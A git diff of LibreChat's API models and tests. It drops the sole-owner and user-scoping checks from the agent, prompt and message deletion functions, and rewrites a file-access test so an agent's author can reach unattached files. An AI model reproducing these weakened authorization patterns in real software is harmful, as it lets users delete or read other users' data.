logger.error('[deleteUserAgents] General error:', error);
}
diff --git a/api/models/Agent.spec.js b/api/models/Agent.spec.js
index b2597872ab..baceb3e8f3 100644
--- a/api/models/Agent.spec.js
+++ b/api/models/Agent.spec.js
@@ -15,12 +15,7 @@ const mongoose = require('mongoose');
const { v4: uuidv4 } = require('uuid');
const { agentSchema } = require('@librechat/data-schemas');
const { MongoMemoryServer } = require('mongodb-memory-server');
-const {
- ResourceType,
- AccessRoleIds,
- PrincipalType,
- PermissionBits,
-} = require('librechat-data-provider');
+const { AccessRoleIds, ResourceType, PrincipalType } = require('librechat-data-provider');
const {
getAgent,
loadAgent,
@@ -447,7 +442,6 @@ describe('models/Agent', () => {
beforeEach(async () => {
await Agent.deleteMany({});
- await AclEntry.deleteMany({});
});
test('should create and get an agent', async () => {
@@ -844,7 +838,8 @@ describe('models/Agent', () => {
const agent2Id = `agent_${uuidv4()}`;
const otherAuthorAgentId = `agent_${uuidv4()}`;
- const agent1 = await createAgent({
+ // Create agents by the author to be deleted
+ await createAgent({
id: agent1Id,
name: 'Author Agent 1',
provider: 'test',
@@ -852,7 +847,7 @@ describe('models/Agent', () => {
author: authorId,
});
- const agent2 = await createAgent({
+ await createAgent({
id: agent2Id,
name: 'Author Agent 2',
provider: 'test',
@@ -860,6 +855,7 @@ describe('models/Agent', () => {
author: authorId,
});
+ // Create agent by different author (should not be deleted)
await createAgent({
id: otherAuthorAgentId,
name: 'Other Author Agent',
@@ -868,23 +864,7 @@ describe('models/Agent', () => {
author: otherAuthorId,
});
- await permissionService.grantPermission({
- principalType: PrincipalType.USER,
- principalId: authorId,
- resourceType: ResourceType.AGENT,
- resourceId: agent1._id,
- accessRoleId: AccessRoleIds.AGENT_OWNER,
- grantedBy: authorId,
- });
- await permissionService.grantPermission({
- principalType: PrincipalType.USER,
- principalId: authorId,
- resourceType: ResourceType.AGENT,
- resourceId: agent2._id,
- accessRoleId: AccessRoleIds.AGENT_OWNER,
- grantedBy: authorId,
- });
-
+ // Create user with all agents in favorites
await User.create({
_id: userId,
name: 'Test User',
@@ -898,16 +878,21 @@ describe('models/Agent', () => {
],
});
+ // Verify user has all favorites
const userBefore = await User.findById(userId);
expect(userBefore.favorites).toHaveLength(4);
+ // Delete all agents by the author
await deleteUserAgents(authorId.toString());
+ // Verify author's agents are deleted from database
expect(await getAgent({ id: agent1Id })).toBeNull();
expect(await getAgent({ id: agent2Id })).toBeNull();
+ // Verify other author's agent still exists
expect(await getAgent({ id: otherAuthorAgentId })).not.toBeNull();
+ // Verify user favorites: author's agents removed, others remain
const userAfter = await User.findById(userId);
expect(userAfter.favorites).toHaveLength(2);
expect(userAfter.favorites.some((f) => f.agentId === agent1Id)).toBe(false);
@@ -926,7 +911,8 @@ describe('models/Agent', () => {
const agent2Id = `agent_${uuidv4()}`;
const unrelatedAgentId = `agent_${uuidv4()}`;
- const agent1 = await createAgent({
+ // Create agents by the author
+ await createAgent({
id: agent1Id,
name: 'Author Agent 1',
provider: 'test',
@@ -934,7 +920,7 @@ describe('models/Agent', () => {
author: authorId,
});
- const agent2 = await createAgent({
+ await createAgent({
id: agent2Id,
name: 'Author Agent 2',
provider: 'test',
@@ -942,23 +928,7 @@ describe('models/Agent', () => {
author: authorId,
});
- await permissionService.grantPermission({
- principalType: PrincipalType.USER,
- principalId: authorId,
- resourceType: ResourceType.AGENT,
- resourceId: agent1._id,
- accessRoleId: AccessRoleIds.AGENT_OWNER,
- grantedBy: authorId,
- });
- await permissionService.grantPermission({
- principalType: PrincipalType.USER,
- principalId: authorId,
- resourceType: ResourceType.AGENT,
- resourceId: agent2._id,
- accessRoleId: AccessRoleIds.AGENT_OWNER,
- grantedBy: authorId,
- });
-
+ // Create users with various favorites configurations
await User.create({
_id: user1Id,
name: 'User 1',
@@ -983,8 +953,10 @@ describe('models/Agent', () => {
favorites: [{ agentId: unrelatedAgentId }, { model: 'gpt-4', endpoint: 'openAI' }],
});
+ // Delete all agents by the author
await deleteUserAgents(authorId.toString());
+ // Verify all users' favorites are correctly updated
const user1After = await User.findById(user1Id);
expect(user1After.favorites).toHaveLength(0);
@@ -993,6 +965,7 @@ describe('models/Agent', () => {
expect(user2After.favorites.some((f) => f.agentId === agent1Id)).toBe(false);
expect(user2After.favorites.some((f) => f.model === 'claude-3')).toBe(true);
+ // User 3 should be completely unaffected
const user3After = await User.findById(user3Id);
expect(user3After.favorites).toHaveLength(2);
expect(user3After.favorites.some((f) => f.agentId === unrelatedAgentId)).toBe(true);
@@ -1006,7 +979,8 @@ describe('models/Agent', () => {
const existingAgentId = `agent_${uuidv4()}`;
- const existingAgent = await createAgent({
+ // Create agent by different author
+ await createAgent({
id: existingAgentId,
name: 'Existing Agent',
provider: 'test',
@@ -1014,15 +988,7 @@ describe('models/Agent', () => {
author: otherAuthorId,
});
- await permissionService.grantPermission({
- principalType: PrincipalType.USER,
- principalId: otherAuthorId,
- resourceType: ResourceType.AGENT,
- resourceId: existingAgent._id,
- accessRoleId: AccessRoleIds.AGENT_OWNER,
- grantedBy: otherAuthorId,
- });
-
+ // Create user with favorites
await User.create({
_id: userId,
name: 'Test User',
@@ -1031,10 +997,13 @@ describe('models/Agent', () => {
favorites: [{ agentId: existingAgentId }, { model: 'gpt-4', endpoint: 'openAI' }],
});
+ // Delete agents for user with no agents (should be a no-op)
await deleteUserAgents(authorWithNoAgentsId.toString());
+ // Verify existing agent still exists
expect(await getAgent({ id: existingAgentId })).not.toBeNull();
+ // Verify user favorites are unchanged
const userAfter = await User.findById(userId);
expect(userAfter.favorites).toHaveLength(2);
expect(userAfter.favorites.some((f) => f.agentId === existingAgentId)).toBe(true);
@@ -1048,7 +1017,8 @@ describe('models/Agent', () => {
const agent1Id = `agent_${uuidv4()}`;
const agent2Id = `agent_${uuidv4()}`;
- const agent1 = await createAgent({
+ // Create agents by the author
+ await createAgent({
id: agent1Id,
name: 'Agent 1',
provider: 'test',
@@ -1056,7 +1026,7 @@ describe('models/Agent', () => {
author: authorId,
});
- const agent2 = await createAgent({
+ await createAgent({
id: agent2Id,
name: 'Agent 2',
provider: 'test',
@@ -1064,23 +1034,7 @@ describe('models/Agent', () => {
author: authorId,
});
- await permissionService.grantPermission({
- principalType: PrincipalType.USER,
- principalId: authorId,
- resourceType: ResourceType.AGENT,
- resourceId: agent1._id,
- accessRoleId: AccessRoleIds.AGENT_OWNER,
- grantedBy: authorId,
- });
- await permissionService.grantPermission({
- principalType: PrincipalType.USER,
- principalId: authorId,
- resourceType: ResourceType.AGENT,
- resourceId: agent2._id,
- accessRoleId: AccessRoleIds.AGENT_OWNER,
- grantedBy: authorId,
- });
-
+ // Create user with favorites that don't include these agents
await User.create({
_id: userId,
name: 'Test User',
@@ -1089,112 +1043,23 @@ describe('models/Agent', () => {
favorites: [{ model: 'gpt-4', endpoint: 'openAI' }],
});
+ // Verify agents exist
expect(await getAgent({ id: agent1Id })).not.toBeNull();
expect(await getAgent({ id: agent2Id })).not.toBeNull();
+ // Delete all agents by the author
await deleteUserAgents(authorId.toString());
+ // Verify agents are deleted
expect(await getAgent({ id: agent1Id })).toBeNull();
expect(await getAgent({ id: agent2Id })).toBeNull();
+ // Verify user favorites are unchanged
const userAfter = await User.findById(userId);
expect(userAfter.favorites).toHaveLength(1);
expect(userAfter.favorites.some((f) => f.model === 'gpt-4')).toBe(true);
});
- test('should preserve multi-owned agents when deleteUserAgents is called', async () => {
- const deletingUserId = new mongoose.Types.ObjectId();
- const otherOwnerId = new mongoose.Types.ObjectId();
-
- const soleOwnedId = `agent_${uuidv4()}`;
- const multiOwnedId = `agent_${uuidv4()}`;
-
- const soleAgent = await createAgent({
- id: soleOwnedId,
- name: 'Sole Owned Agent',
- provider: 'test',
- model: 'test-model',
- author: deletingUserId,
- });
-
- const multiAgent = await createAgent({
- id: multiOwnedId,
- name: 'Multi Owned Agent',
- provider: 'test',
- model: 'test-model',
- author: deletingUserId,
- });
-
- await permissionService.grantPermission({
- principalType: PrincipalType.USER,
- principalId: deletingUserId,
- resourceType: ResourceType.AGENT,
- resourceId: soleAgent._id,
- accessRoleId: AccessRoleIds.AGENT_OWNER,
- grantedBy: deletingUserId,
- });
-
- await permissionService.grantPermission({
- principalType: PrincipalType.USER,
- principalId: deletingUserId,
- resourceType: ResourceType.AGENT,
- resourceId: multiAgent._id,
- accessRoleId: AccessRoleIds.AGENT_OWNER,
- grantedBy: deletingUserId,
- });
- await permissionService.grantPermission({
- principalType: PrincipalType.USER,
- principalId: otherOwnerId,
- resourceType: ResourceType.AGENT,
- resourceId: multiAgent._id,
- accessRoleId: AccessRoleIds.AGENT_OWNER,
- grantedBy: otherOwnerId,
- });
-
- await deleteUserAgents(deletingUserId.toString());
-
- expect(await getAgent({ id: soleOwnedId })).toBeNull();
- expect(await getAgent({ id: multiOwnedId })).not.toBeNull();
-
- const soleAcl = await AclEntry.find({
- resourceType: ResourceType.AGENT,
- resourceId: soleAgent._id,
- });
- expect(soleAcl).toHaveLength(0);
-
- const multiAcl = await AclEntry.find({
- resourceType: ResourceType.AGENT,
- resourceId: multiAgent._id,
- principalId: otherOwnerId,
- });
- expect(multiAcl).toHaveLength(1);
- expect(multiAcl[0].permBits & PermissionBits.DELETE).toBeTruthy();
-
- const deletingUserMultiAcl = await AclEntry.find({
- resourceType: ResourceType.AGENT,
- resourceId: multiAgent._id,
- principalId: deletingUserId,
- });
- expect(deletingUserMultiAcl).toHaveLength(1);
- });
-
- test('should delete legacy agents that have author but no ACL entries', async () => {
- const legacyUserId = new mongoose.Types.ObjectId();
- const legacyAgentId = `agent_${uuidv4()}`;
-
- await createAgent({
- id: legacyAgentId,
- name: 'Legacy Agent (no ACL)',
- provider: 'test',
- model: 'test-model',
- author: legacyUserId,
- });
-
- await deleteUserAgents(legacyUserId.toString());
-
- expect(await getAgent({ id: legacyAgentId })).toBeNull();
- });
-
test('should update agent projects', async () => {
const agentId = `agent_${uuidv4()}`;
const authorId = new mongoose.Types.ObjectId();
diff --git a/api/models/Conversation.js b/api/models/Conversation.js
index 121eaa9696..32eac1a764 100644
--- a/api/models/Conversation.js
+++ b/api/models/Conversation.js
@@ -228,7 +228,7 @@ module.exports = {
},
],
};
- } catch (_err) {
+ } catch (err) {
logger.warn('[getConvosByCursor] Invalid cursor format, starting from beginning');
}
if (cursorFilter) {
@@ -361,7 +361,6 @@ module.exports = {
const deleteMessagesResult = await deleteMessages({
conversationId: { $in: conversationIds },
- user,
});
return { ...deleteConvoResult, messages: deleteMessagesResult };
diff --git a/api/models/Conversation.spec.js b/api/models/Conversation.spec.js
index e9e4b5762d..bd415b4165 100644
--- a/api/models/Conversation.spec.js
+++ b/api/models/Conversation.spec.js
@@ -549,7 +549,6 @@ describe('Conversation Operations', () => {
expect(result.messages.deletedCount).toBe(5);
expect(deleteMessages).toHaveBeenCalledWith({
conversationId: { $in: [mockConversationData.conversationId] },
- user: 'user123',
});
// Verify conversation was deleted
diff --git a/api/models/File.spec.js b/api/models/File.spec.js
index ecb2e21b08..2d4282cff7 100644
--- a/api/models/File.spec.js
+++ b/api/models/File.spec.js
@@ -152,11 +152,12 @@ describe('File Access Control', () => {
expect(accessMap.get(fileIds[3])).toBe(false);
});
- it('should only grant author access to files attached to the agent', async () => {
+ it('should grant access to all files when user is the agent author', async () => {
const authorId = new mongoose.Types.ObjectId();
const agentId = uuidv4();
const fileIds = [uuidv4(), uuidv4(), uuidv4()];
+ // Create author user
await User.create({
_id: authorId,
email: 'author@example.com',
@@ -164,6 +165,7 @@ describe('File Access Control', () => {
provider: 'local',
});
+ // Create agent
await createAgent({
id: agentId,
name: 'Test Agent',
@@ -172,83 +174,12 @@ describe('File Access Control', () => {
provider: 'openai',
tool_resources: {
file_search: {
- file_ids: [fileIds[0]],
- },
- },
- });
-
- const { hasAccessToFilesViaAgent } = require('~/server/services/Files/permissions');
- const accessMap = await hasAccessToFilesViaAgent({
- userId: authorId,
- role: SystemRoles.USER,
- fileIds,
- agentId,
- });
-
- expect(accessMap.get(fileIds[0])).toBe(true);
- expect(accessMap.get(fileIds[1])).toBe(false);
- expect(accessMap.get(fileIds[2])).toBe(false);
- });
-
- it('should deny all access when agent has no tool_resources', async () => {
- const authorId = new mongoose.Types.ObjectId();
- const agentId = uuidv4();
- const fileId = uuidv4();
-
- await User.create({
- _id: authorId,
- email: 'author-no-resources@example.com',
- emailVerified: true,
- provider: 'local',
- });
-
- await createAgent({
- id: agentId,
- name: 'Bare Agent',
- author: authorId,
- model: 'gpt-4',
- provider: 'openai',
- });
-
- const { hasAccessToFilesViaAgent } = require('~/server/services/Files/permissions');
- const accessMap = await hasAccessToFilesViaAgent({
- userId: authorId,
- role: SystemRoles.USER,
- fileIds: [fileId],
- agentId,
- });
-
- expect(accessMap.get(fileId)).toBe(false);
- });
-
- it('should grant access to files across multiple resource types', async () => {
- const authorId = new mongoose.Types.ObjectId();
- const agentId = uuidv4();
- const fileIds = [uuidv4(), uuidv4(), uuidv4()];
-
- await User.create({
- _id: authorId,
- email: 'author-multi@example.com',
- emailVerified: true,
- provider: 'local',
- });
-
- await createAgent({
- id: agentId,
- name: 'Multi Resource Agent',
- author: authorId,
- model: 'gpt-4',
- provider: 'openai',
- tool_resources: {
- file_search: {
- file_ids: [fileIds[0]],
- },
- execute_code: {
- file_ids: [fileIds[1]],
+ file_ids: [fileIds[0]], // Only one file attached
},
},
});
+ // Check access as the author
const { hasAccessToFilesViaAgent } = require('~/server/services/Files/permissions');
const accessMap = await hasAccessToFilesViaAgent({
userId: authorId,
@@ -257,48 +188,10 @@ describe('File Access Control', () => {
agentId,
});
+ // Author should have access to all files
expect(accessMap.get(fileIds[0])).toBe(true);
expect(accessMap.get(fileIds[1])).toBe(true);
- expect(accessMap.get(fileIds[2])).toBe(false);
- });
-
- it('should grant author access to attached files when isDelete is true', async () => {
- const authorId = new mongoose.Types.ObjectId();
- const agentId = uuidv4();
- const attachedFileId = uuidv4();
- const unattachedFileId = uuidv4();
-
- await User.create({
- _id: authorId,
- email: 'author-delete@example.com',
- emailVerified: true,
- provider: 'local',
- });
-
- await createAgent({
- id: agentId,
- name: 'Delete Test Agent',
- author: authorId,
- model: 'gpt-4',
- provider: 'openai',
- tool_resources: {
- file_search: {
- file_ids: [attachedFileId],
- },
- },
- });
-
- const { hasAccessToFilesViaAgent } = require('~/server/services/Files/permissions');
- const accessMap = await hasAccessToFilesViaAgent({
- userId: authorId,
- role: SystemRoles.USER,
- fileIds: [attachedFileId, unattachedFileId],
- agentId,
- isDelete: true,
- });
-
- expect(accessMap.get(attachedFileId)).toBe(true);
- expect(accessMap.get(unattachedFileId)).toBe(false);
+ expect(accessMap.get(fileIds[2])).toBe(true);
});
it('should handle non-existent agent gracefully', async () => {
diff --git a/api/models/Prompt.js b/api/models/Prompt.js
index 4b14edbc74..bde911b23a 100644
--- a/api/models/Prompt.js
+++ b/api/models/Prompt.js
@@ -13,10 +13,7 @@ const {
addGroupIdsToProject,
getProjectByName,
} = require('./Project');
-const {
- getSoleOwnedResourceIds,
- removeAllPermissions,
-} = require('~/server/services/PermissionService');
+const { removeAllPermissions } = require('~/server/services/PermissionService');
const { PromptGroup, Prompt, AclEntry } = require('~/db/models');
/**
@@ -595,49 +592,31 @@ module.exports = {
}
},
/**
- * Delete prompt groups solely owned by the user and clean up their prompts/ACLs.
- * Groups with other owners are left intact; the caller is responsible for
- * removing the user's own ACL principal entries separately.
- *
- * Also handles legacy (pre-ACL) prompt groups that only have the author field set,
- * ensuring they are not orphaned if the permission migration has not been run.
+ * Delete all prompts and prompt groups created by a specific user.
+ * @param {ServerRequest} req - The server request object.
* @param {string} userId - The ID of the user whose prompts and prompt groups are to be deleted.
*/
- deleteUserPrompts: async (userId) => {
+ deleteUserPrompts: async (req, userId) => {
try {
- const userObjectId = new ObjectId(userId);
- const soleOwnedIds = await getSoleOwnedResourceIds(userObjectId, ResourceType.PROMPTGROUP);
+ const promptGroups = await getAllPromptGroups(req, { author: new ObjectId(userId) });
- const authoredGroups = await PromptGroup.find({ author: userObjectId }).select('_id').lean();
- const authoredGroupIds = authoredGroups.map((g) => g._id);
-
- const migratedEntries =
- authoredGroupIds.length > 0
- ? await AclEntry.find({
- resourceType: ResourceType.PROMPTGROUP,
- resourceId: { $in: authoredGroupIds },
- })
- .select('resourceId')
- .lean()
- : [];
- const migratedIds = new Set(migratedEntries.map((e) => e.resourceId.toString()));
- const legacyGroupIds = authoredGroupIds.filter((id) => !migratedIds.has(id.toString()));
-
- const allGroupIdsToDelete = [...soleOwnedIds, ...legacyGroupIds];
-
- if (allGroupIdsToDelete.length === 0) {
+ if (promptGroups.length === 0) {
return;
}
- await Promise.all(allGroupIdsToDelete.map((id) => removeGroupFromAllProjects(id)));
+ const groupIds = promptGroups.map((group) => group._id);
+
+ for (const groupId of groupIds) {
+ await removeGroupFromAllProjects(groupId);
+ }
await AclEntry.deleteMany({
resourceType: ResourceType.PROMPTGROUP,
- resourceId: { $in: allGroupIdsToDelete },
+ resourceId: { $in: groupIds },
});
- await PromptGroup.deleteMany({ _id: { $in: allGroupIdsToDelete } });
- await Prompt.deleteMany({ groupId: { $in: allGroupIdsToDelete } });
+ await PromptGroup.deleteMany({ author: new ObjectId(userId) });
+ await Prompt.deleteMany({ author: new ObjectId(userId) });
} catch (error) {
logger.error('[deleteUserPrompts] General error:', error);
}
diff --git a/api/models/Prompt.spec.js b/api/models/Prompt.spec.js
index a2063e6cfc..e00a1a518c 100644
--- a/api/models/Prompt.spec.js
+++ b/api/models/Prompt.spec.js
@@ -561,231 +561,4 @@ describe('Prompt ACL Permissions', () => {
expect(prompt._id.toString()).toBe(legacyPrompt._id.toString());
});
});
-
- describe('deleteUserPrompts', () => {
- let deletingUser;
- let otherUser;
- let soleOwnedGroup;
- let multiOwnedGroup;
- let sharedGroup;
- let soleOwnedPrompt;
- let multiOwnedPrompt;
- let sharedPrompt;
-
- beforeAll(async () => {
- deletingUser = await User.create({
- name: 'Deleting User',
- email: 'deleting@example.com',
- role: SystemRoles.USER,
- });
- otherUser = await User.create({
- name: 'Other User',
- email: 'other@example.com',
- role: SystemRoles.USER,
- });
-
- const soleProductionId = new ObjectId();
- soleOwnedGroup = await PromptGroup.create({
- name: 'Sole Owned Group',
- author: deletingUser._id,
- authorName: deletingUser.name,
- productionId: soleProductionId,
- });
- soleOwnedPrompt = await Prompt.create({
- prompt: 'Sole owned prompt',
- author: deletingUser._id,
- groupId: soleOwnedGroup._id,
- type: 'text',
- });
- await PromptGroup.updateOne(
- { _id: soleOwnedGroup._id },
- { productionId: soleOwnedPrompt._id },
- );
-
- const multiProductionId = new ObjectId();
- multiOwnedGroup = await PromptGroup.create({
- name: 'Multi Owned Group',
- author: deletingUser._id,
- authorName: deletingUser.name,
- productionId: multiProductionId,
- });
- multiOwnedPrompt = await Prompt.create({
- prompt: 'Multi owned prompt',
- author: deletingUser._id,
- groupId: multiOwnedGroup._id,
- type: 'text',
- });
- await PromptGroup.updateOne(
- { _id: multiOwnedGroup._id },
- { productionId: multiOwnedPrompt._id },
- );
-
- const sharedProductionId = new ObjectId();
- sharedGroup = await PromptGroup.create({
- name: 'Shared Group (other user owns)',
- author: otherUser._id,
- authorName: otherUser.name,
- productionId: sharedProductionId,
- });
- sharedPrompt = await Prompt.create({
- prompt: 'Shared prompt',
- author: otherUser._id,
- groupId: sharedGroup._id,
- type: 'text',
- });
- await PromptGroup.updateOne({ _id: sharedGroup._id }, { productionId: sharedPrompt._id });
-
- await permissionService.grantPermission({
- principalType: PrincipalType.USER,
- principalId: deletingUser._id,
- resourceType: ResourceType.PROMPTGROUP,
- resourceId: soleOwnedGroup._id,
- accessRoleId: AccessRoleIds.PROMPTGROUP_OWNER,
- grantedBy: deletingUser._id,
- });
-
- await permissionService.grantPermission({
- principalType: PrincipalType.USER,
- principalId: deletingUser._id,
- resourceType: ResourceType.PROMPTGROUP,
- resourceId: multiOwnedGroup._id,
- accessRoleId: AccessRoleIds.PROMPTGROUP_OWNER,
- grantedBy: deletingUser._id,
- });
- await permissionService.grantPermission({
- principalType: PrincipalType.USER,
- principalId: otherUser._id,
- resourceType: ResourceType.PROMPTGROUP,
- resourceId: multiOwnedGroup._id,
- accessRoleId: AccessRoleIds.PROMPTGROUP_OWNER,
- grantedBy: otherUser._id,
- });
-
- await permissionService.grantPermission({
- principalType: PrincipalType.USER,
- principalId: otherUser._id,
- resourceType: ResourceType.PROMPTGROUP,
- resourceId: sharedGroup._id,
- accessRoleId: AccessRoleIds.PROMPTGROUP_OWNER,
- grantedBy: otherUser._id,
- });
- await permissionService.grantPermission({
- principalType: PrincipalType.USER,
- principalId: deletingUser._id,
- resourceType: ResourceType.PROMPTGROUP,
- resourceId: sharedGroup._id,
- accessRoleId: AccessRoleIds.PROMPTGROUP_VIEWER,
- grantedBy: otherUser._id,
- });
-
- const globalProject = await Project.findOne({ name: 'Global' });
- await Project.updateOne(
- { _id: globalProject._id },
- {
- $addToSet: {
- promptGroupIds: {
- $each: [soleOwnedGroup._id, multiOwnedGroup._id, sharedGroup._id],
- },
- },
- },
- );
-
- await promptFns.deleteUserPrompts(deletingUser._id.toString());
- });
-
- test('should delete solely-owned prompt groups and their prompts', async () => {
- expect(await PromptGroup.findById(soleOwnedGroup._id)).toBeNull();
- expect(await Prompt.findById(soleOwnedPrompt._id)).toBeNull();
- });
-
- test('should remove solely-owned groups from projects', async () => {
- const globalProject = await Project.findOne({ name: 'Global' });
- const projectGroupIds = globalProject.promptGroupIds.map((id) => id.toString());
- expect(projectGroupIds).not.toContain(soleOwnedGroup._id.toString());
- });
-
- test('should remove all ACL entries for solely-owned groups', async () => {
- const aclEntries = await AclEntry.find({
- resourceType: ResourceType.PROMPTGROUP,
- resourceId: soleOwnedGroup._id,
- });
- expect(aclEntries).toHaveLength(0);
- });
-
- test('should preserve multi-owned prompt groups', async () => {
- expect(await PromptGroup.findById(multiOwnedGroup._id)).not.toBeNull();
- expect(await Prompt.findById(multiOwnedPrompt._id)).not.toBeNull();
- });
-
- test('should preserve ACL entries of other owners on multi-owned groups', async () => {
- const otherOwnerAcl = await AclEntry.findOne({
- resourceType: ResourceType.PROMPTGROUP,
- resourceId: multiOwnedGroup._id,
- principalId: otherUser._id,
- });
- expect(otherOwnerAcl).not.toBeNull();
- expect(otherOwnerAcl.permBits & PermissionBits.DELETE).toBeTruthy();
- });
-
- test('should preserve groups owned by other users', async () => {
- expect(await PromptGroup.findById(sharedGroup._id)).not.toBeNull();
- expect(await Prompt.findById(sharedPrompt._id)).not.toBeNull();
- });
-
- test('should preserve project membership of non-deleted groups', async () => {
- const globalProject = await Project.findOne({ name: 'Global' });
- const projectGroupIds = globalProject.promptGroupIds.map((id) => id.toString());
- expect(projectGroupIds).toContain(multiOwnedGroup._id.toString());
- expect(projectGroupIds).toContain(sharedGroup._id.toString());
- });
-
- test('should preserve ACL entries for shared group owned by other user', async () => {
- const ownerAcl = await AclEntry.findOne({
- resourceType: ResourceType.PROMPTGROUP,
- resourceId: sharedGroup._id,
- principalId: otherUser._id,
- });
- expect(ownerAcl).not.toBeNull();
- });
-
- test('should be a no-op when user has no owned prompt groups', async () => {
- const unrelatedUser = await User.create({
- name: 'Unrelated User',
- email: 'unrelated@example.com',
- role: SystemRoles.USER,
- });
-
- const beforeCount = await PromptGroup.countDocuments();
- await promptFns.deleteUserPrompts(unrelatedUser._id.toString());
- const afterCount = await PromptGroup.countDocuments();
-
- expect(afterCount).toBe(beforeCount);
- });
-
- test('should delete legacy prompt groups that have author but no ACL entries', async () => {
- const legacyUser = await User.create({
- name: 'Legacy User',
- email: 'legacy-prompt@example.com',
- role: SystemRoles.USER,
- });
-
- const legacyGroup = await PromptGroup.create({
- name: 'Legacy Group (no ACL)',
- author: legacyUser._id,
- authorName: legacyUser.name,
- productionId: new ObjectId(),
- });
- const legacyPrompt = await Prompt.create({
- prompt: 'Legacy prompt text',
- author: legacyUser._id,
- groupId: legacyGroup._id,
- type: 'text',
- });
-
- await promptFns.deleteUserPrompts(legacyUser._id.toString());
-
- expect(await PromptGroup.findById(legacyGroup._id)).toBeNull();
- expect(await Prompt.findById(legacyPrompt._id)).toBeNull();
- });
- });
});
diff --git a/api/models/Transaction.js b/api/models/Transaction.js
index 7f018e1c30..e553e2bb3b 100644
--- a/api/models/Transaction.js
+++ b/api/models/Transaction.js
@@ -1,7 +1,140 @@
-const { logger, CANCEL_RATE } = require('@librechat/data-schemas');
+const { logger } = require('@librechat/data-schemas');
const { getMultiplier, getCacheMultiplier } = require('./tx');
-const { Transaction } = require('~/db/models');
-const { updateBalance } = require('~/models');
+const { Transaction, Balance } = require('~/db/models');
+
+const cancelRate = 1.15;
+
+/**
+ * Updates a user's token balance based on a transaction using optimistic concurrency control
+ * without schema changes. Compatible with DocumentDB.
+ * @async
+ * @function
+ * @param {Object} params - The function parameters.
+ * @param {string|mongoose.Types.ObjectId} params.user - The user ID.
+ * @param {number} params.incrementValue - The value to increment the balance by (can be negative).
+ * @param {import('mongoose').UpdateQuery['$set']} [params.setValues] - Optional additional fields to set.
+ * @returns {Promise} Returns the updated balance document (lean).
+ * @throws {Error} Throws an error if the update fails after multiple retries.
+ */
+const updateBalance = async ({ user, incrementValue, setValues }) => {
+ let maxRetries = 10; // Number of times to retry on conflict
+ let delay = 50; // Initial retry delay in ms
+ let lastError = null;
+
+ for (let attempt = 1; attempt <= maxRetries; attempt++) {
+ let currentBalanceDoc;
+ try {
+ // 1. Read the current document state
+ currentBalanceDoc = await Balance.findOne({ user }).lean();
+ const currentCredits = currentBalanceDoc ? currentBalanceDoc.tokenCredits : 0;
+
+ // 2. Calculate the desired new state
+ const potentialNewCredits = currentCredits + incrementValue;
+ const newCredits = Math.max(0, potentialNewCredits); // Ensure balance doesn't go below zero
+
+ // 3. Prepare the update payload
+ const updatePayload = {
+ $set: {
+ tokenCredits: newCredits,
+ ...(setValues || {}), // Merge other values to set
+ },
+ };
+
+ // 4. Attempt the conditional update or upsert
+ let updatedBalance = null;
+ if (currentBalanceDoc) {
+ // --- Document Exists: Perform Conditional Update ---
+ // Try to update only if the tokenCredits match the value we read (currentCredits)
+ updatedBalance = await Balance.findOneAndUpdate(
+ {
+ user: user,
+ tokenCredits: currentCredits, // Optimistic lock: condition based on the read value
+ },
+ updatePayload,
+ {
+ new: true, // Return the modified document
+ // lean: true, // .lean() is applied after query execution in Mongoose >= 6
+ },
+ ).lean(); // Use lean() for plain JS object
+
+ if (updatedBalance) {
+ // Success! The update was applied based on the expected current state.
+ return updatedBalance;
+ }
+ // If updatedBalance is null, it means tokenCredits changed between read and write (conflict).
+ lastError = new Error(`Concurrency conflict for user ${user} on attempt ${attempt}.`);
+ // Proceed to retry logic below.
+ } else {
+ // --- Document Does Not Exist: Perform Conditional Upsert ---
+ // Try to insert the document, but only if it still doesn't exist.
+ // Using tokenCredits: {$exists: false} helps prevent race conditions where
+ // another process creates the doc between our findOne and findOneAndUpdate.
+ try {
+ updatedBalance = await Balance.findOneAndUpdate(
+ {
+ user: user,
+ // Attempt to match only if the document doesn't exist OR was just created
+ // without tokenCredits (less likely but possible). A simple { user } filter
+ // might also work, relying on the retry for conflicts.
+ // Let's use a simpler filter and rely on retry for races.
+ // tokenCredits: { $exists: false } // This condition might be too strict if doc exists with 0 credits
+ },
+ updatePayload,
+ {
+ upsert: true, // Create if doesn't exist
+ new: true, // Return the created/updated document
+ // setDefaultsOnInsert: true, // Ensure schema defaults are applied on insert
+ // lean: true,
+ },
+ ).lean();
+
+ if (updatedBalance) {
+ // Upsert succeeded (likely created the document)
+ return updatedBalance;
+ }
+ // If null, potentially a rare race condition during upsert. Retry should handle it.
+ lastError = new Error(
+ `Upsert race condition suspected for user ${user} on attempt ${attempt}.`,
+ );
+ } catch (error) {
+ if (error.code === 11000) {
+ // E11000 duplicate key error on index
+ // This means another process created the document *just* before our upsert.
+ // It's a concurrency conflict during creation. We should retry.
+ lastError = error; // Store the error
+ // Proceed to retry logic below.
+ } else {
+ // Different error, rethrow
+ throw error;
+ }
+ }
+ } // End if/else (document exists?)
+ } catch (error) {
+ // Catch errors from findOne or unexpected findOneAndUpdate errors
+ logger.error(`[updateBalance] Error during attempt ${attempt} for user ${user}:`, error);
+ lastError = error; // Store the error
+ // Consider stopping retries for non-transient errors, but for now, we retry.
+ }
+
+ // If we reached here, it means the update failed (conflict or error), wait and retry
+ if (attempt < maxRetries) {
+ const jitter = Math.random() * delay * 0.5; // Add jitter to delay
+ await new Promise((resolve) => setTimeout(resolve, delay + jitter));
+ delay = Math.min(delay * 2, 2000); // Exponential backoff with cap
+ }
+ } // End for loop (retries)
+
+ // If loop finishes without success, throw the last encountered error or a generic one
+ logger.error(
+ `[updateBalance] Failed to update balance for user ${user} after ${maxRetries} attempts.`,
+ );
+ throw (
+ lastError ||
+ new Error(
+ `Failed to update balance for user ${user} after maximum retries due to persistent conflicts.`,
+ )
+ );
+};
/** Method to calculate and set the tokenValue for a transaction */
function calculateTokenValue(txn) {
@@ -12,8 +145,8 @@ function calculateTokenValue(txn) {
txn.rate = multiplier;
txn.tokenValue = txn.rawAmount * multiplier;
if (txn.context && txn.tokenType === 'completion' && txn.context === 'incomplete') {
- txn.tokenValue = Math.ceil(txn.tokenValue * CANCEL_RATE);
- txn.rate *= CANCEL_RATE;
+ txn.tokenValue = Math.ceil(txn.tokenValue * cancelRate);
+ txn.rate *= cancelRate;
}
}
@@ -188,11 +321,11 @@ function calculateStructuredTokenValue(txn) {
}
if (txn.context && txn.tokenType === 'completion' && txn.context === 'incomplete') {
- txn.tokenValue = Math.ceil(txn.tokenValue * CANCEL_RATE);
- txn.rate *= CANCEL_RATE;
